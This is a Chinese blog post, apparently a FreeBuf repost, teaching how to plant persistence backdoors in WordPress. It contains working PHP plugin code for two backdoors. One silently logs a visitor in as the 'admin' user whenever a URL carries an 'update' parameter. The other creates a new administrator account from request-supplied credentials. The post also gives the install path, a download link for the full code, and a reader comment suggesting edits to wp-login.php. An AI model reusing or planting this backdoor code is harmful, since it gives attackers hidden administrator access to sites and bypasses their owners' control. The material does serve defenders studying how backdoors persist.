您的位置:首页 > 其它

权限后门系列之一:手动打造WordPress权限后门

2018-01-02 15:03 309 查看
权限后门是最容易被管理员忽视的环节,通常需要对系统进行全面检查才能发现。本文以Wordpress为例,介绍两种新型的后门方式。

方案1 – 自动登录管理员账号

这种方案较为隐蔽,我们只要找到一个管理员账号,调用Wordpress API,实现自动登录即可。


在测试环境中,我们只有 admin 一个账号。为了登录这个
admin
账号,我们需要进行如下操作
// 当带有 "update" 字样时就执行后门
if (! isset ($_GET['update']))
{
return;
}

$user = get_user_by('login', 'admin');
if (! is_wp_error($user))
{
// 清空当前认证信息
wp_clear_auth_cookie();
// 设置管理员的认证信息
wp_set_current_user($user->ID);
wp_set_auth_cookie($user->ID);
// 跳转到管理后台
wp_safe_redirect(user_admin_url());

exit();
}
我们登录服务器,将插件释放在
wp-content/plugins/001-autologin.php
,并激活插件,e.g


激活后,就可以成功登录了。这里为了方便演示,用的cURL命令


方案2 – 创建管理账号

这个方法会根据用户输入的账号和密码,创建管理员账号。我们编写如下插件,安装到 WordPress 里,
$__username = @$_REQUEST['__username'];
$__password = @$_REQUEST['__password'];

if (! isset ($__username) || ! isset ($__password) || username_exists ($__username))
{
return;
}

// 创建用户
$user = wp_create_user($__username, $__password, "root@localhost.localdomain");
if (! is_wp_error($user))
{
$user = get_user_by('login', $__username);
// 设置为管理员角色
$user->set_role('administrator');
exit();
}
激活插件后,我们触发一下


使用刚刚提交的账号密码,aka
hello:world
登录,发现管理员账号已经添加成功了:


写在最后

本文只是以Wordpress插件为例,讲解如何实现后门机制,后门代码并不一定放在插件里。至于如何隐藏后门,本文不再赘述。
完整的测试代码可以在这里下载:https://rasp.baidu.com/download/
*本文作者:c0debreak ,转载请注明来自FreeBuf.COM


c0debreak 9 篇文章 等级: 4级 | | 上一篇:年度盘点 | 2017年安全事件的背后:比特币的隐秘江湖
下一篇: 年度盘点 | 2017年的数据泄露带给我们的经验与教训
发表评论

已有 1 条评论


intW  2018-01-02 回复 1楼 wp-login.php的登录代码那么多 随便改


内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: